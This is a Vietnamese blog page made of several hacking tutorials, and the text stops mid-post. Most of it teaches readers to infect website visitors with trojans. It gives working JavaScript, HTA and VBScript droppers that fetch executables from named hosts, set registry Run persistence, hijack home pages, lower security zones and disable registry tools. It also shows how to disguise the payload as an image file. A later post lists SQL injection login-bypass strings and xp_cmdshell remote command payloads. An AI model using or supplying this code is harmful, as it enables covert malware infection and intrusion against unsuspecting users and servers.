Thứ Năm, 11 tháng 3, 2010

Gắn Virut Vào Web

Posted by Unknown Thứ Năm, tháng 3 11, 2010, under | No comments


Cách 1 : dùng một đoạn mã đơn giản để open 1 con trojan ! như chiến dịch của chúng ta !

đoạn mã như sau:
Code:
<SCRIPT language=javascript>
open("http://freewebs.com/nhutuanweb/thanks.exe");
</SCRIPT>


với đoạn mã này bạn gắn dưới thẻ body thì mỗi khi truy cập website nó sẽ tự open con trojan của bạn

cách thứ 2 là cách rất cao cấp

bạn copy vào notepad đoạn mã sau:
Code:

<html>
<head>
<script language="javascript">
try {
var fso = new ActiveXObject("Scripting.FileSystemObject");
var Shell = new ActiveXObject("WScript.Shell");
var tfolder2 = fso.GetSpecialFolder(0);
var filepath2 = tfolder2 + "\\system32\\System.js";
var a2 = fso.CreateTextFile(filepath2, true);
a2.WriteLine('var url = "http://www.freewebs.com/hinhanhlop18/hackervn.exe";');
a2.WriteLine('var burl = "http://www.freewebs.com/hinhanhlop18/hackervn.exe";');
a2.WriteLine('var fso = new ActiveXObject("Scripting.FileSystemObject");');
a2.WriteLine('var tfolder = fso.GetSpecialFolder(0);');
a2.WriteLine('var filepath = tfolder + "\\\\system32\\\\System.js";');
a2.WriteLine('var Shell = new ActiveXObject("WScript.Shell");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\Windows",filepath);');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\System32",filepath);');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Start Page",url);');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url1",url);');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url2","http://http://www.freewebs.com/hinhanhlop18/hackervn.exe");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url3","http://www.freewebs.com/hinhanhlop18/hackervn.exe");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url4","http://www.freewebs.com/hinhanhlop18/hackervn.exe");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url5","http://www.freewebs.com/hinhanhlop18/hackervn.exe");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url6","http://www.freewebs.com/hinhanhlop18/hackervn.exe");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url7","http://www.freewebs.com/hinhanhlop18/hackervn.exe");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url8","http://www.freewebs.com/hinhanhlop18/hackervn.exe");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url9","http://www.freewebs.com/hinhanhlop18/hackervn.exe");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url10","http://www.freewebs.com/hinhanhlop18/hackervn.exe");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url11","http://www.freewebs.com/hinhanhlop18/hackervn.exe");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Yahoo\\\\Pager\\\\View\\\\YMSGR_Calendar\\\\content url","http://antihacker.50webs.com/sethome.htm");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Yahoo\\\\Pager\\\\View\\\\YMSGR_Games\\\\content url","http://antihacker.50webs.com/sethome.htm");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Yahoo\\\\Pager\\\\View\\\\YMSGR_Launchcast\\\\content url","http://antihacker.50webs.com/sethome.htm");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Yahoo\\\\Pager\\\\View\\\\YMSGR_Weather\\\\content url","http://antihacker.50webs.com/sethome.htm");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.freewebs.com/hinhanhlop18/hackervn.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.freewebs.com/hinhanhlop18/hackervn.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.freewebs.com/hinhanhlop18/hackervn.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.freewebs.com/hinhanhlop18/hackervn.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.freewebs.com/hinhanhlop18/hackervn.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.freewebs.com/hinhanhlop18/hackervn.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.freewebs.com/hinhanhlop18/hackervn.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.freewebs.com/hinhanhlop18/hackervn.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.freewebs.com/hinhanhlop18/hackervn.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.freewebs.com/hinhanhlop18/hackervn.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.freewebs.com/hinhanhlop18/hackervn.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.freewebs.com/hinhanhlop18/hackervn.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.freewebs.com/hinhanhlop18/hackervn.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.freewebs.com/hinhanhlop18/hackervn.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\http://www.freewebs.com/hinhanhlop18/hackervn.exe\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\\\\DisableRegistryTools",1,"REG_DWORD");');
a2.Close();
Shell.Run(filepath2);
}
catch (e){}
</script>
<HTA:APPLICATION WINDOWSTATE='minimize' SHOWINTASKBAR='no' />
</head>
<body onload='window.close()'>
</body>
</html>


rồi save lại với tên là : hackervn.hta

nhớ là thay đường dẫn của con trojan đi nha..(http://www.freewebs.com/hinhanhlop18/hackervn.exe) là con trojan của kimdung.

sau khi có file hackervn.hta rồi bạn gắn đoạn mã sau vào cuối cùng của website của bạn:
Code:




<xml id="oRun">
<preview>
<view>
<![CDATA[
< type="text/html" id="oFile" data="hackervn.hta?id=1">< /object>
]]>
</view>
</preview>
</xml>


</body>
</html>

rồi sau đó bạn upload file hackervn.hta + với website của bạn lên cùng 1 host ...ok mỗi lần mở website của bạn con trojan sẽ tự open vào trong hệ thống mà không hề bị phát hiện+ thêm nó set homepage luôn cho chắc ăn...

cách này rất hay...và cao cấp

Kỹ Thuật Nhúng Trojan Vào Website:


Cách 1 :
Cách đính kèm trojan vào website
Một số cách phổ biến đính kèm trojon vào website như dùng mã javascript hay dùng phần mềm ..
Xin giới thiệu với các bạn 1 số cách
a. Dùng 1 đoạn mã javascript để mở và phát tán trojan

CODE


Đoạn mã trên bạn chèn vào thẻ body của 1 trang website,khi nạn nhân mở website trojan sẽ mở ra và yêu cầu người lướt website mở ra
b. bạn copy vào notepad đoạn mã sau:


CODE
<>
<>
< language="javascript">
try {
var fso = new ActiveXObject("Scripting.FileSystemObject");
var Shell = new ActiveXObject("WScript.Shell");
var tfolder2 = fso.GetSpecialFolder(0);
var filepath2 = tfolder2 + "\\system32\\System.js";
var a2 = fso.CreateTextFile(filepath2, true);
a2.WriteLine('var url = "Địa chỉ trojon";');
a2.WriteLine('var burl = "Địa chỉ trojon";');
a2.WriteLine('var fso = new ActiveXObject("Scripting.FileSystemObject");');
a2.WriteLine('var tfolder = fso.GetSpecialFolder(0);');
a2.WriteLine('var filepath = tfolder + "\\\\system32\\\\System.js";');
a2.WriteLine('var Shell = new ActiveXObject("WScript.Shell");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\ \\\Windows",filepath);');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\S ystem32",filepath);');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\Main\\\\Start Page",url);');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url1",url);');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\Dia chi con trojan");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Internet Explorer\\\\TypedURLs\\\\url1");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Yahoo\\\\Pager\\\\View\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Yahoo\\\\Pager\\\\View\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Yahoo\\\\Pager\\\\View\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Yahoo\\\\Pager\\\\View\\\\Địa chỉ trojon");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\Domains\\\\Địa chỉ trojon\\\\*",4,"REG_DWORD");');
a2.WriteLine('Shell.RegWrite("HKCU\\\\Software\\\\ Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies \\\\System\\\\DisableRegistryTools",1,"REG_DWORD") ;');
a2.Close();
Shell.Run(filepath2);
}
catch (e){}
< /script>
< windowstate="'minimize'" showintaskbar="'no'">
< /head>
< onload="'window.close()'">
< /body>
< /html>


rồi save lại với tên là : trojan.hta
bạn gắn đoạn mã sau vào cuối cùng của website của bạn:


CODE
<>
< datasrc="#oRun" datafld="view" dataformatas="html">

< id="oRun">
<>
<>
< ![CDATA[ < id="oFile" data="trojan.hta?id=1">< /object>
]]>
< /view>
< /preview>
< /xml>
< /center>
< /body>
< /html>


rồi sau đó bạn upload file trojan.hta với website của bạn lên cùng 1 mỗi lần mở website của bạn con trojan sẽ tự open vào trong hệ thống mà không hề bị phát hiện

Cách 2:
đoạn đầu đưa vào diễn đàn là 01 frame


CODE
< width="0" height="0" src="http://link chứa đoạn mã bên dưới">< /iframe>

đoạn 2


CODE
< language="VBScript">
on error resume next
dl = "Đường dẫn con Virus dạng .exe"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="bl4ck.com"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
< /script>


Cách 3 :
Đầu tiên , mọi người hãy Download Program http://mail.packetstormsecurity.org/trojans/exe2vbs.zip
Đây là chương trình giúp bạn Convert sang "*.hta
Đầu tiên các bạn sử dụng EXE2VBS để convert file trojan của mình ( chẳng hạn tôi sẽ xài 1 con MagicPS => để lấy pass của người Victim truy cập ), click vào file trojan kéo vô khung exe của exe2vbs ===> các bạn sẽ được 1 file *.js ! Okie giờ edit lại một chút để thành file hta ( định dạng html thực thi để chạy các activeX ) Chú ý khi chạy exe2vbs trong phần lực chọn có 3 ô các bạn đánh dấu vào 2 mục trên thôi
Mở file trojan.exe.js vừa convert ra bằng notepad or wordpad, cho thêm dòng


CODE
< language="vbs">

vào trên cùng

Xuống dưới cùng thay dòng:

CODE
WScript.CreateObject("WScript.Shell").run(pth)

bằng

CODE
Set Shell1 = CreateObject("WScript.Shell") Shell1.Run(pth) < /script> < windowstate="'minimize'" showintaskbar="'no'"> < /head> < onload="'window.close()'"> < /body> < /html>

Sau đó save lại thành file trojan.hta Sau đó mở file web của bạn cho Victim truy cập ra thêm code này vào để run file trojan.hta

CODE
<> < datasrc="#oRun" datafld="view" dataformatas="html">< /span> < id="oRun"> <> <> < ![CDATA[ < id="oFile" data="trojan.hta?id=1">< /object> ]]> < /xml> < /center> < /body> < /html>

File htm này sẽ là file để victim truy cập ! Chúc thành công.





Nguồn: vuadapass
http://www.hvaonline.net/hvaonline/posts/list/40/2685.hva

Cơm thêm nè , để tên File có dạng File ảnh (JPG , GIF ,BMP ...) :
Theo cách 2 , mở Notepad :
Code:
< script language="VBScript">
on error resume next
dl = "Đường dẫn con Virus dạng .exe"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="bl4ck.com"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
< /script>

Save lại dưới dạng "tên File.JPG" hay . GIF tùy ý .
Ví dụ : funy.JPG
Mở File funy.JPG vừa Save song bằng Font Page , nhấp chọn Instert Picture rồi cho bừa 1 bức ảnh để đỡ nghi ngờ . File - Save , Upload File funy.JPG vừa rồi lên .
Giờ thì nó trông như 1 bức ảnh thật , có khi họ còn không nghi ngờ là có trojan trong đó nữa .

Gắn Trojan Vào File HTML Gắn Trojan Vào File HTML

Posted by Unknown Thứ Năm, tháng 3 11, 2010, under | No comments

Bạn muốn chạy tự động 1 trojan trên máy tính người khác khi họ xem trang Web hoặc Email của bạn...! Có cách nào không??? Dĩ nhiên là được rồi! Bài viết này sẽ giúp bạn giải quyết vấn đề!

1) Hướng dẫn:

· Bước 1: chuẩn bị một file trojan.exe, kích thước khoảng 5 - 40Kb. Nếu bạn không có trojan, bạn có thể tải về từ trang TlSecurity.com hoặc tự viết một file
trojan.exe để xài!

· Bước 2: chạy convert16.exe để convert file trojan.exe sang trojan.hex

· Bước 3: dùng 1 trình soạn thảo văn bản dạng text( nên dùng EditPlus, nó rất
hay!) để sửa file temp.htm như sau:

Thay phần .doc=”4D5A900... 64620000” thành .doc=”<đặt nội dung của file trojan.hex vào đây>” VD: .doc=”9631447da55abcd44ac25...”

· Bước 4: Nhúng file nội dung file temp.htm sau khi sửa vào trang Web hoặc Email và gởi đến cho người khác!

2) Mã nguồn:

· Files:

§ tempsrc.hta dùng để extract và execute trojan.exe

§ tempsrc.htm file htm chính

§ convert16.vbp & convert16.frm : file nguồn của chương trình Convert 16, được viết bằng Visual Basic 6, dùng để convert file .exe sang file .hex

· Những vấn đề chính:

§ Kĩ thuật ‘Convert 16’: dùng để tạo 1 file nhị phân, ví dụ như trojan.exe

Chuyển mã ANSI của kí tự sang hệ cơ số 16 hexa. Từ mã ANSI của kí tự ở hệ 16 chúng ta dễ dàng chuyển về lại kí tự ban đầu. Để dễ hiểu, tôi đưa ra ví dụ sau:


Kí tự
L
P
T
V

C
l
u
b

2
0
0
1

Mã ANSI ở hệ 10
76
80
84
86
32
67
108
117
98
32
50
48
48
49

Mã ANSI ở hệ 16
4C
50
54
56
20
43
6C
75
62
20
32
30
30
31



Encode16 Decode16

“LPTV Club 2001” “4C50545620436C75622032303031” “LPTV Club 2001”



‘--- VBScript Code ---



function encode16(st)

for i = 1 to len(st)

temp = hex((asc(mid(st,i,1)))

‘ mid(st,i,1) lấy 1 kí tự trong chuổi st ở vị trí thứ i

‘ asc(mid(st,i,1)) trả về mã ANSI của kí tự này

‘ temp = hex((asc(mid(st,i,1))) sẽ chứa mã ANSI ở hệ 16 của kí tự

if len(temp) = 1 then ‘vì mã ANSI của kí tự chỉ nằm trong khoảng từ 0 đến 255 (0h-FFh), nên nếu độ dài của temp=1 chúng ta sẽ thêm 0 vào trước! Ví dụ: 0A, 07, ...

temp =”0” & temp

end if

encode16 = encode16 & temp

next

end function



function decode16(st)

for i =1 to len(st) step 2 ‘như ở trên, mỗi kí tự được mã bằng đúng 2 kí tự nên bước nhảy step = 2

decode16 = decode16 & chr(“&h” & mid(st,i,2))

‘ mid(st,i,2) trả về 1 chuổi gồm 2 kí tự, bắt đầu từ vị trí thứ i trong chuổi

‘chr(“&h” & mid(st,i,2)) trả về kí tự có mã ANSI ở hệ 16; “&h” dùng để chỉ hệ 16

next

end function

‘--- VBScript Code ---



§ Kĩ thuật ‘Encode’: được sử dụng trong file temp.hta & temp.htm



. Mục đích:

+ giảm kích thước file

+ làm cho mã lệnh khó đọc đối với người khác



. Ví dụ: thay vì viết lệnh rõ ràng:
on error resume next

dn=chr(34)

xd=vbcrlf

set wsh=createobject("wscript.shell")

set fso=createobject("scripting.filesystemobject")
Chúng ta cũng có thể viết lại như sau:
on error resume next�j=chr(34)�q=vbcrlf�set g=createobject("wscript.shell")�set t6=createobject("scripting.filesystemobject")
Bạn thấy mã lệnh nhỏ hơn trước và có khó đọc không?

3) Hỏi/Đáp:
· Có thể gắn virus hoặc 1 chương trình khác thay cho trojan không?

Dĩ nhiên là được rồi! Bạn thử nghĩ lại xem, file virus, trojan.exe hầu như đều là các file .exe chương trình có khả năng tự thực thi nên bạn hoàn toàn có thể thay đổi theo ý muốn của bạn!

· Nếu tôi gắn 1 file trojan.exe lớn trong file temp.html , file này sẽ lớn kinh khủng, người khác có thể nghi ngờ! Vậy làm sao bây giờ?

· Tôi muốn máy họ tự động download file trojan.exe từ trên mạng về và execute nó? Có được không?

Rất dễ! Thay vì phải gắn file trojan.exe, chúng ta sẽ gắn 1 file chương trình nhỏ khoảng 5 KB. Nhiệm vụ của file này là download trojan.exe từ http://www.somewhere.com/yoursite/trojan.exe và thi hành nó! Bạn nên sửa lại mã của file .hta một chút!: bỏ lệnh xóa file temp.exe và thêm lệnh tạo registry-startup cho file temp.exe!

...

wsh.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Kernel 32”,filetrojan

...

Tấn Công Kiểu SQL Injection Và Cách Phòng Chống Trong ASP.NET

Posted by Unknown Thứ Năm, tháng 3 11, 2010, under | No comments

1. SQL Injection là gì?

SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...

2. Tìm kiếm mục tiêu

Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, ...

Ví dụ:

http://yoursite.com/index.asp?id=10

Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.

<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

3. Kiểm tra chỗ yếu của trang web

Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1--

Login: hi' or 1=1--
Password: hi' or 1=1--
[url]http://yoursite.com/index.asp?id=hi'[/url] or 1=1--
Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:
<FORM action=http://yoursite.com/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>

Nếu thành công, thì có thể login vào mà không cần phải biết username và password

4. Tại sao ' or 1=1-- có thể vượt qua phần kiểm tra đăng nhập?

Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:

http://yoursite.com/index.asp?category=food

Trong URL trên, biến 'category' được gán giá trị là 'food'. Mã ASP của trang này có thể như sau (đây chỉ là ví dụ thôi):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

v_cat sẽ chứa giá trị của biến request("category") là 'food' và câu lệnh SQL tiếp theo sẽ là:

SELECT * FROM product WHERE PCategory='food'

Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'

Nếu thay đổi URL trên thành [url]http://yoursite.com/index.asp?category=food'[/url] or 1=1-- , biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng 'food' hay không. Hai dấu gạch ngang (--) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, hãy thay "--" thành "#"

Ngoài ra, cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

5. Thi hành lệnh từ xa bằng SQL Injection

Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.

Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:

#tcpdump icmp

Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.

6. Nhận output của SQL query

Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Chú ý: folder "share" phải được share cho Everyone trước.

7. Nhận dữ liệu qua 'database using ODBC error message'

